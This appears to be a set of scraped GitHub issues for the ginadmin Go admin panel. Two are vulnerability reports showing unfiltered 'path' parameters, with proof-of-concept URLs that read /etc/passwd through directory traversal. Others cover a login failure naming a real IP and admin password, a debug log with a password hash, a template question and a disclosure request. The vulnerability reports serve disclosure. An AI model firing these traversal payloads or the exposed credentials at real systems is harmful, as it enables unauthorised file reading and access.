Vulnerability file address

internal/controllers/admin/setting/adminSystemController.go line 135 c.Query("path")The incoming path value is not filtered, resulting in arbitrary file reading

filePath := gstrings.JoinStr(configs.RootPath, c.Query("path"))
	fi, err := os.Open(filePath)
	if err != nil {
		con.ErrorHtml(c, err)
		return
	}

POC

http://ip:port/admin/setting/system/view?path=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd

Attack results pictures

Hi, I cannot login to http://122.152.196.83/admin/login by admin/111111 with a notification of verification code number wrong. I am pretty sure I entered the right code.

Vulnerability file address

internal/controllers/admin/setting/adminSystemController.go line 83 ,c.Query("path") the incoming path value is not filtered, resulting in directory traversal.

path = gstrings.JoinStr(configs.RootPath, c.Query("path"))

	files, err = ioutil.ReadDir(path)
	if err != nil {
		con.Error(c, "获取目录失败")
		return
	}

POC

http://ip:port/admin/setting/system/getdir?path=

Attack results pictures

运行时信息如下：

GOROOT=/usr/local/Cellar/go/1.16.3/libexec #gosetup GOPATH=/Users/liuyang/go #gosetup /usr/local/Cellar/go/1.16.3/libexec/bin/go build -o /private/var/folders/_5/4d60syxn7kx2nh3mkt_dr7kc0000gn/T/___go_build_main_go /Users/liuyang/go/src/ginadmin-master/main.go #gosetup /private/var/folders/_5/4d60syxn7kx2nh3mkt_dr7kc0000gn/T/___go_build_main_go rootpath:/Users/liuyang/go/src/ginadmin-master

2021/06/17 13:32:13 /Users/liuyang/go/src/ginadmin-master/models/default.go:41 Error 1292: Incorrect datetime value: '0000-00-00' for column 'created_at' at row 1 [0.606ms] [rows:0] UPDATE admin_groups SET group_name='管理员组',privs='{"all":{}}',created_at='0000-00-00 00:00:00',updated_at='2021-06-17 13:32:13.034' WHERE group_id = 1

2021/06/17 13:32:13 /Users/liuyang/go/src/ginadmin-master/models/default.go:56 Error 1292: Incorrect datetime value: '0000-00-00' for column 'created_at' at row 1 [0.503ms] [rows:0] UPDATE admin_users SET group_id=1,username='admin',nickname='管理员',password='9976788d29525b023a8bc67495a87292',phone='',last_login='',salt='HBLKJI',api_token='',eated_at='0000-00-00 00:00:00',updated_at='2021-06-17 13:32:13.034' WHEREuid` = 1 [GIN-debug] [WARNING] Creating an Engine instance with the Logger and Recovery middleware already attached.

[GIN-debug] [WARNING] Running in "debug" mode. Switch to "release" mode in production.

• using env: export GIN_MODE=release
• using code: gin.SetMode(gin.ReleaseMode)

[GIN-debug] GET /admin/login --> ginadmin-master/controllers.(*LoginController).Login.func1 (5 handlers) [GIN-debug] POST /admin/login --> ginadmin-master/controllers.(*LoginController).Login.func1 (5 handlers) [GIN-debug] GET /admin/login_out --> ginadmin-master/controllers.(*LoginController).LoginOut.func1 (5 handlers) [GIN-debug] POST /admin/login_out --> ginadmin-master/controllers.(*LoginController).LoginOut.func1 (5 handlers) [GIN-debug] GET /admin/home/ --> ginadmin-master/controllers.(*HomeController).Home.func1 (6 handlers) [GIN-debug] GET /admin/home/welcome --> ginadmin-master/controllers.(*HomeController).Welcome.func1 (6 handlers) [GIN-debug] GET /admin/home/edit_password --> ginadmin-master/controllers.(*HomeController).EditPassword.func1 (6 handlers) [GIN-debug] POST /admin/home/save_password --> ginadmin-master/controllers.(*HomeController).SavePassword.func1 (6 handlers) [GIN-debug] GET /admin/setting/admingroup/index --> ginadmin-master/controllers/setting.(*AdminGroupController).Index.func1 (7 handlers) [GIN-debug] GET /admin/setting/admingroup/add --> ginadmin-master/controllers/setting.(*AdminGroupController).AddIndex.func1 (7 handlers) [GIN-debug] POST /admin/setting/admingroup/save --> ginadmin-master/controllers/setting.(*AdminGroupController).Save.func1 (7 handlers) [GIN-debug] GET /admin/setting/admingroup/edit --> ginadmin-master/controllers/setting.(*AdminGroupController).Edit.func1 (7 handlers) [GIN-debug] GET /admin/setting/admingroup/del --> ginadmin-master/controllers/setting.(*AdminGroupController).Del.func1 (7 handlers) [GIN-debug] GET /admin/setting/adminuser/index --> ginadmin-master/controllers/setting.(*AdminUserController).Index.func1 (7 handlers) [GIN-debug] GET /admin/setting/adminuser/add --> ginadmin-master/controllers/setting.(*AdminUserController).AddIndex.func1 (7 handlers) [GIN-debug] POST /admin/setting/adminuser/save --> ginadmin-master/controllers/setting.(*AdminUserController).Save.func1 (7 handlers) [GIN-debug] GET /admin/setting/adminuser/edit --> ginadmin-master/controllers/setting.(*AdminUserController).Edit.func1 (7 handlers) [GIN-debug] GET /admin/setting/adminuser/del --> ginadmin-master/controllers/setting.(*AdminUserController).Del.func1 (7 handlers) [GIN-debug] GET /admin/setting/system/index --> ginadmin-master/controllers/setting.(*AdminSystemController).Index.func1 (7 handlers) [GIN-debug] GET /admin/setting/system/getdir --> ginadmin-master/controllers/setting.(*AdminSystemController).GetDir.func1 (7 handlers) [GIN-debug] GET /admin/setting/system/view --> ginadmin-master/controllers/setting.(*AdminSystemController).View.func1 (7 handlers) [GIN-debug] GET /admin/demo/show --> ginadmin-master/controllers/demo.(*UploadController).Show.func1 (7 handlers) [GIN-debug] POST /admin/demo/upload --> ginadmin-master/controllers/demo.(*UploadController).Upload.func1 (7 handlers) [GIN-debug] GET /api/user/list --> ginadmin-master/api/apiuser.(*ApiUserController).UserList.func1 (4 handlers) [GIN-debug] GET /statics/*filepath --> github.com/gin-gonic/gin.(*RouterGroup).createStaticHandler.func1 (4 handlers) [GIN-debug] HEAD /statics/*filepath --> github.com/gin-gonic/gin.(*RouterGroup).createStaticHandler.func1 (4 handlers) [GIN-debug] GET /uploadfile/*filepath --> github.com/gin-gonic/gin.(*RouterGroup).createStaticHandler.func1 (4 handlers) [GIN-debug] HEAD /uploadfile/*filepath --> github.com/gin-gonic/gin.(*RouterGroup).createStaticHandler.func1 (4 handlers)

打开网页显示【404 page not found】

是我需要修改main.go的函数吗？（为啥.html前面是*号呢？） func loadTemplates(templatesDir string) multitemplate.Renderer { r := multitemplate.NewRenderer()

layouts, err := filepath.Glob(templatesDir + "/layout/*.html")
if err != nil {
	panic(err.Error())
}
includes, err := filepath.Glob(templatesDir + "/template/*/*.html")
if err != nil {
	panic(err.Error())
}
for _, include := range includes {
	layoutCopy := make([]string, len(layouts))
	copy(layoutCopy, layouts)
	files := append(layoutCopy, include)
	dirSlice := strings.Split(include, comment.GetLine())
	fileName := strings.Join(dirSlice[2:], "/")
	r.AddFromFilesFuncs(fileName, template2.GlobalTemplateFun, files...)
}
return r

}

Hello 👋

I run a security community that finds and fixes vulnerabilities in OSS. A researcher (@gaurav-g2) has found a potential issue, which I would be eager to share with you.

Could you add a SECURITY.md file with an e-mail address for me to send further details to? GitHub recommends a security policy to ensure issues are responsibly disclosed, and it would help direct researchers in the future.

Looking forward to hearing from you 👍

(cc @huntr-helper)